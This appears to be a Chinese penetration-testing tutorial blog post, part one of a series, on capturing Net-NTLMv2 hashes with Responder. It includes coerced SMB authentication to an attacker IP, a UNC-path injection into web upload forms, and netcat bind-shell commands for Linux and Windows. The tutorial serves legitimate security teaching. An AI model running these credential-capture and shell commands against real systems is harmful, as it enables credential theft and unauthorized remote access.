**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶ 权限提升
▶ 横向移动 ➢ 密码攻击 ➢ 获取并破解Net-NTLMv2哈希(上)🔥🔥🔥
▶ 报告/分析
▶ 教训/修复
目录
[1.1 破解Windows哈希实践](#1.1 破解Windows哈希实践)
[1.1.1 Net-NTLMv2 协议概述](#1.1.1 Net-NTLMv2 协议概述)
[1.1.1.1 身份验证流程(以访问 SMB 共享为例)](#1.1.1.1 身份验证流程(以访问 SMB 共享为例))
[1.1.1.2 Net-NTLMv2协议潜在弱点](#1.1.1.2 Net-NTLMv2协议潜在弱点)
[1.1.2 Net-NTLMv2哈希捕获思路](#1.1.2 Net-NTLMv2哈希捕获思路)
[1.1.2.1 核心攻击逻辑](#1.1.2.1 核心攻击逻辑)
[1.1.2.2 两种攻击场景与触发方式](#1.1.2.2 两种攻击场景与触发方式)
[1.1.3 捕获Net-NTLMv2哈希实践](#1.1.3 捕获Net-NTLMv2哈希实践)
[1.1.3.1 使用Responder模拟 SMB 服务器(在kali上)](#1.1.3.1 使用Responder模拟 SMB 服务器(在kali上))
[1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell)](#1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell))
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.密码破解
1.1 破解Windows哈希实践
核心攻击场景: 本文介绍第三种:获取并破解Net-NTLMv2哈希。
| 攻击类型 | 目标哈希 | 手法简介 |
|---|---|---|
| 获取并破解NTLM哈希 | 🗝️ NTLM哈希 | 从内存或SAM数据库中提取哈希,并用工具(如Hashcat)破解 |
| 传递NTLM哈希 | 🗝️ NTLM哈希 | 直接使用哈希进行身份验证,绕过密码需求 |
| 获取并破解Net-NTLMv2哈希 | 🔐 Net-NTLMv2哈希 | 通过中间人或欺骗获取挑战-响应包,离线破解 |
| 传递Net-NTLMv2哈希 | 🔐 Net-NTLMv2哈希 | 在支持的环境下复用Net-NTLMv2响应进行身份验证 |
1.1.1 Net-NTLMv2 协议概述
Net-NTLMv2(常称 NTLMv2)是 Windows 网络中 用于客户端与服务器之间身份验证的协议。在某些渗透测试场景中,当仅获得非特权用户权限,而无法使用Mimikatz等工具直接提取密码或 NTLM 哈希时,可利用该协议的特性进行凭证捕获与破解。
**⚠️ 注:**行业常用"Net-NTLMv2"指代 NTLMv2,此处沿用该名称以避免混淆。
1.1.1.1 身份验证流程(以访问 SMB 共享为例)
在本例中,通过Net-NTLMv2 从Windows 11客户端访问Windows 2022服务器上的SMB共享。整个过程可视为一次**"挑战-响应"**对话:
| 步骤 | 方向 | 说明 |
|---|---|---|
| 1️⃣ | 客户端 → 服务器 | 发送连接请求,说明要访问的 SMB 共享信息 |
| 2️⃣ | 服务器 → 客户端 | 返回一个随机挑战(Challenge) |
| 3️⃣ | 客户端 → 服务器 | 使用自身的 NTLM 哈希 加密挑战数据,生成挑战响应(Challenge Response)并发送 |
| 4️⃣ | 服务器 | 验证响应是否正确,决定是否授权访问 |
**⚠️ 注:**虽然Net-NTLMv2协议,不如Kerberos协议安全。但大多数Windows环境仍然依赖于旧协议,特别是作为支持可能不支持Kerberos的旧设备的一种方式。
1.1.1.2 Net-NTLMv2协议潜在弱点
Net-NTLMv2协议广泛存在于许多 Windows 环境中,尤其为兼容旧设备而保留,因此成为攻击者常利用的突破口。
潜在弱点:
-
挑战响应机制:响应中携带使用用户哈希加密的数据,攻击者可通过中间人、欺骗或监听等方式截获该响应。
-
哈希可离线破解:捕获的 Net-NTLMv2 哈希可导出,并借助工具(如 Hashcat)进行离线暴力破解或字典攻击。
-
协议陈旧性:相比 Kerberos,Net-NTLMv2 安全性较弱,但仍被大量系统支持。
攻击思路:
诱使 目标系统向攻击者控制的服务发起 Net-NTLMv2 身份验证 ,从而捕获哈希,进而尝试破解或进行中间人利用。
1.1.2 Net-NTLMv2哈希捕获思路
1.1.2.1 核心攻击逻辑
使用 Responder 工具搭建恶意 SMB 服务器 ,诱使目标系统主动连接并进行身份验证,从而截获其 Net-NTLMv2 哈希。
关键工具:Responder
-
主要功能 :内置可伪造的 SMB 服务器,专门用于处理并截获身份验证过程中的 Net-NTLMv2 哈希。
-
辅助功能:还支持 LLMNR/NBT-NS/MDNS 毒化等多种协议,以辅助或扩展攻击面。
1.1.2.2 两种攻击场景与触发方式
攻击者在本地kali,使用Responder工具先配置一个SMB服务器。
1.场景一:已获得代码执行权限
如果攻击者能够在远程目标系统上获得了代码执行权限,通过命令的执行让远程目标系统(作为SMB客户端)连接到自己控制的SMB服务器。然后,强制远程目标系统进行身份验证,从而来截获系统的凭证信息。
攻击路径最直接。在已控制的系统上执行命令,强制其向攻击者的服务器发起 SMB 连接。
典型命令示例:
bash
# 让目标尝试访问攻击者IP上的共享,在powershell环境
> ls \\192.168.119.2\share
💡 效果 :执行后,Windows 会自动尝试使用 Net-NTLMv2 协议向
192.168.119.2认证,哈希随即被监听该地址的 Responder 捕获。
2.场景二:无代码执行权限
如果攻击者在远程目标系统上未获得了代码执行权限 。那么,利用应用层的功能间接触发 。寻找任何可能自动发起 SMB 连接的功能点。
典型利用示例:
-
在 Web 文件上传表单 中,输入攻击者控制的 SMB 路径:
bash\\192.168.119.2\share\nonexistent.txt
💡 原理:即使文件(nonexistent.txt)不存在,应用程序在尝试访问该路径时,系统也会发起身份验证,Responder 便可截获哈希。
⚠️ 核心 :攻击的关键在于如何让目标系统主动向你的IP地址发起身份验证。只要触发认证,无论连接是否成功,宝贵的哈希值都已被截获。
1.1.3 捕获Net-NTLMv2哈希实践
1.1.3.1 使用Responder模拟 SMB 服务器(在kali上)
📋 操作流程概览:

1.环境准备与确认
在kali上,最终设置为SMB服务器。
bash
# 确认Responder是否已安装(Kali通常默认安装)
dpkg -l | grep responder
# 若未安装,则安装
sudo apt update && sudo apt install responder -y
# 查看可用网络接口
ip a
# 选择与目标网络相通的接口,此处使用 tap0

2.启动Responder监听
bash
# 启动Responder,模拟SMB服务器
sudo responder -I tap0 -r
| 参数 | 说明 | 必要性 |
|---|---|---|
-I tap0 |
指定监听网络接口为 tap0 | ✅ 必需 |
-r |
启用 SMB响应模式,捕获SMB请求 | 可选但推荐 |

3.等待并捕获哈希
-
目标:FILES01 (192.168.50.211)
-
机制:当目标系统尝试连接SMB服务时,Responder会:
-
伪装成合法的SMB服务器
-
响应目标的认证请求
-
截获并记录 Net-NTLMv2 哈希
-
⚠️ 关键注意事项:
-
接口选择:必须选择与目标网络相通的正确接口
-
端口占用:确保本地 445 端口未被其他 SMB 服务占用
-
网络可达:目标系统需能访问到攻击者 IP 地址
-
权限要求 :需使用
sudo运行以绑定特权端口
4.预期效果与输出
Responder 启动后,控制台将显示:
-
监听状态与活跃服务
-
实时捕获的认证尝试
-
等待截获的 Net-NTLMv2 哈希(格式类似
USERNAME::DOMAIN:challenge:response...)
🎯 核心目标:通过伪装SMB服务器,诱使目标系统在认证过程中泄露 Net-NTLMv2 哈希,为后续离线破解创造条件。
1.1.3.2 在远程目标主机上执行命令:绑定Shell(正向shell)
这里是场景一:攻击者能够在远程目标系统上获得了代码执行权限,通过命令的执行让远程目标系统(作为SMB客户端)连接到自己控制的SMB服务器。
绑定 Shell: 是一种攻击者通过远程命令执行,**将目标主机系统的命令行界面绑定到特定端口的攻击技术。**一旦成功,攻击者可通过网络直接连接到该端口,获得目标系统的交互式 Shell 访问权限。

1.工作原理
-
权限获取 :攻击者首先获得目标系统上的代码执行权限,这个是一个前提
-
端口监听:在目标系统上运行绑定 Shell 代码,打开特定端口并监听连接
-
Shell绑定:将监听到的客户端连接与该系统的 Shell 程序关联
-
远程控制:攻击者连接到该端口,获得交互式命令行控制权
2.不同系统的实现方式
①Linux 系统
bash
# 标准绑定Shell命令
nc -l -p 4444 -e /bin/bash
| 参数 | 功能说明 |
|---|---|
-l |
监听模式,等待连接 |
-p 4444 |
监听本地的 4444端口(可自定义) |
-e /bin/bash |
连接建立后执行 bash shell |
②Windows 系统
bash
# 使用netcat的绑定Shell
nc -l -p 4444 -e cmd.exe
| 参数 | 功能说明 |
|---|---|
-e cmd.exe |
连接建立后执行 Windows命令行 |
⚠️ 注意:如果目标系统未安装 netcat,可使用 PowerShell 或其他方法实现类似功能。
📊 技术特点对比:
| 特性 | 绑定 Shell(正向shell) | 反向 Shell |
|---|---|---|
| 监听方 | 目标系统 | 攻击者系统 |
| 连接方向 | 攻击者 → 目标 | 目标 → 攻击者 |
| 防火墙影响 | 可能被入站规则阻止 | 通常绕过出站限制 |
| 实施复杂度 | 简单直接 | 需要攻击者具备公网IP |
未完,见下一篇文章。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。

